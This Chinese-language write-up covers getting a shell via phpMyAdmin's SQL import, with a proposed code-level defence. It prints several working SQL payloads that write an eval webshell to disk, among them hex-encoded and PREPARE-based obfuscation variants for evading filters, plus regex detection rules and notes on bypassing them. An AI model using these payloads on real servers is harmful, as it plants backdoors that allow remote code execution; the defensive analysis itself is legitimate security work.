Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径，尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行，但是您可以在任何地方使用这些程式产生的HTML页面，也就是于远端管理MySQL数据库，方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法，方便编写网页时所需要的sql语法正确性

0x1: Mysql SQL预编译(PREPARE Syntax)

/*
1. stmt_name: The PREPARE statement prepares a SQL statement and assigns it a name, stmt_name, by which to refer to the statement later. 
2. preparable_stmt: preparable_stmt is either a string literal or a user variable that contains the text of the SQL statement. The text must represent a single statement, not multiple statements. 
*/
PREPARE stmt_name FROM preparable_stmt

0x2: Mysql SQL执行(EXECUTE Syntax)

EXECUTE stmt_name
    [USING @var_name [, @var_name] ...]
//After preparing a statement with PREPARE, you execute it with an EXECUTE statement that refers to the prepared statement name. If the prepared statement contains any parameter markers, you must supply a USING clause that lists user variables containing the values to be bound to the parameters.

Relevant Link:

https://dev.mysql.com/doc/refman/5.0/en/prepare.html
https://dev.mysql.com/doc/refman/5.0/en/execute.html
http://zone.wooyun.org/content/22606

2. 漏洞触发条件

1. 已知phpmyadmin的root密码，即mysql的root密码(phpmyadmin只是通过web方式连接mysql的工具)
    1) mysql本身默认的弱口令
    2) 通过其他漏洞(例如注入)获得了mysql的root密码
2. 已知网站的物理路径
    1) 在phpmyadmin的后台的"变量"tab页面，可以看到mysql的物理路径，从而推测出网站的物理路径
    2) 通过其他web漏洞获得网站的物理路径

通过phpmyadmin进行getshell的核心就是通过sql进行文件写的操作，常见的sql如下

----1---
DROP TABLE IF EXISTS `a`;
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('xx');
select cmd from a into outfile 'C:/phpStudy/WWW/ali.php'
Drop TABLE IF EXISTS a;
----1---

----2---
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
----2---

----3---
set @strSql = replace("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/WWW/phpMyAdmin/alibaba.php'","outo","into");
prepare a from @strSql;
execute a; 
----3---

----4---
//select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/exehack.php'
SET @SQLString = 0x73656c65637420273c3f70687020406576616c28245f504f53545b706173735d293b3f3e27494e544f204f555446494c452027643a2f77616d702f7777772f6578656861636b2e70687027;
PREPARE test FROM @SQLString;
EXECUTE test;
----4---

----5---
//declared mysql function
use test;
delimiter $$ 
CREATE FUNCTION myFunction
(in_string VARCHAR(255))
RETURNS VARCHAR(255)

BEGIN
DECLARE new_string VARCHAR(255);
SET new_string = replace(in_string,"outo","into"); 
RETURN(new_string);
END$$

//hack
delimiter ;
SET @SQLString = test.myFunction("select '<?php @eval($_POST[pass]);?>' outo outfile 'c:/alibaba.php'");
PREPARE test FROM @SQLString;
EXECUTE test;
----5---

Relevant Link:

http://www.exehack.net/681.html
http://www.exehack.net/99.html
http://www.187299.com/archives/1695

3. 漏洞影响范围

全部phpmyadmin版本

4. 漏洞代码分析

/phpMyAdmin/import.php

所有处理用户自定义SQL解析执行的逻辑都在这个PHP文件中实现

/*
this code point is important
$import_text is the one that need to be check strictly
*/
if ($go_sql) 
{
    // parse sql query
    include_once 'libraries/parse_analyze.inc.php';

    if (isset($ajax_reload) && $ajax_reload['reload'] === true) 
    {
        $response = PMA_Response::getInstance();
        $response->addJSON('ajax_reload', $ajax_reload);
    }
    PMA_executeQueryAndSendQueryResponse(
        $analyzed_sql_results, false, $db, $table, null, $import_text, null,
        $analyzed_sql_results['is_affected'], null,
        null, null, null, $goto, $pmaThemeImage, null, null, null, $sql_query,
        null, null
    );
} 
else if ($result) 
{
    // Save a Bookmark with more than one queries (if Bookmark label given).
    if (! empty($_POST['bkm_label']) && ! empty($import_text)) 
    {
        PMA_storeTheQueryAsBookmark(
            $db, $GLOBALS['cfg']['Bookmark']['user'],
            $import_text, $_POST['bkm_label'],
            isset($_POST['bkm_replace']) ? $_POST['bkm_replace'] : null
        );
    }

    $response = PMA_Response::getInstance();
    $response->isSuccess(true);
    $response->addJSON('message', PMA_Message::success($msg));
    $response->addJSON(
        'sql_query',
        PMA_Util::getMessage($msg, $sql_query, 'success')
    );
} 
else if ($result == false) 
{
    $response = PMA_Response::getInstance();
    $response->isSuccess(false);
    $response->addJSON('message', PMA_Message::error($msg));
} 
else 
{
    $active_page = $goto;
    include '' . $goto;
}

5. 防御方法

对变量$import_text进行恶意检查是我们针对phpmyadmin执行sql导出文件getshell攻击的防御思路
/phpMyAdmin/import.php

} elseif (! empty($id_bookmark)) {
    // run bookmark
    $import_type = 'query';
    $format = 'sql';
}
 
//在文件的最开头进行SQL恶意检测，最大程度地兼容所有pmd的sql解析、执行逻辑
if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $import_text, $matches)) { $erromsg = "request error!" . "</br>" . $matches[0]; die($erromsg); } 
//file name filter
$matchResult = preg_match_all("#(0[xX]){0,1}[0-9a-fA-F]+#", $import_text, $matchs);
if($matchResult != 0 && $matchResult != FALSE)
{ 
    foreach ($matchs[0] as $key => $value) 
    { 
        $hex = substr($value, 2);
        $import_text_hex = hex2bin($hex);
        if (preg_match('#.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)#i', strtolower($import_text_hex), $matches_1)) { $pmderromsg = "request error!" . "</br>" . $matches_1[0]; die($pmderromsg); } 
    }
} 

要特别注意的是，在使用PHP的正则匹配引擎的时候，需要考虑到换行场景下的bypass风险
还需要注意的，MYSQL存在很多扩展语法，例如

1. 定义存储过程
2. 定义函数
3. 定义触发器
4. 使用语法预处理编译
/*
prepare stmt from 'select count(*) from information_schema.schemata';
这里待编译的sql语句也可以进行字符变形以此进行bypass
execute stmt;
*/

从攻防的本质上来讲，phpmyadmin的自定义sql导出shell接口这里的修复只是防御了攻击的一条向量，黑客还可以通过其他的攻击向量发起攻击

1. 通过mysql弱口令，进mysql，添加一个账户，开启远程外连
2. 通过mysql命令行连接之后，通过命令行执行sql导出文件

要想做到彻底防御，要从多个角度入手进行防御

1. 对phpmyadmin的/import.php进行代码层防御，禁止用户执行导出文件相关的GETSHELL
2. 对mysql的弱口令密码进行健康检测，提示管理员修改密码
3. 使用主动防御Hook技术，接管文件系统，禁止mysql进行写xxx.php文件

0x2: 权限ACL控制

mysql5.7以后新增了对文件操作的ACL控制

--secure-file-priv=dir_name

Command-Line Format	--secure-file-priv=dir_name
System Variable	Name	secure_file_priv
	Variable Scope	Global
	Dynamic Variable	No
Permitted Values (<= 5.7.5)	Type	string
	Default	empty
	Valid Values	empty
		dirname
Permitted Values (>= 5.7.6)	Type	string
	Default	platform specific
	Valid Values	empty
		dirname
		NULL

默认情况下，利用mysql文件导出写shell会遇到如下错误

需要手工添加信任目录

Relevant Link:

http://php.net/manual/en/function.preg-match.php#111573
http://blog.sina.com.cn/s/blog_3fe961ae01013r8f.html
https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv

6. 攻防思考

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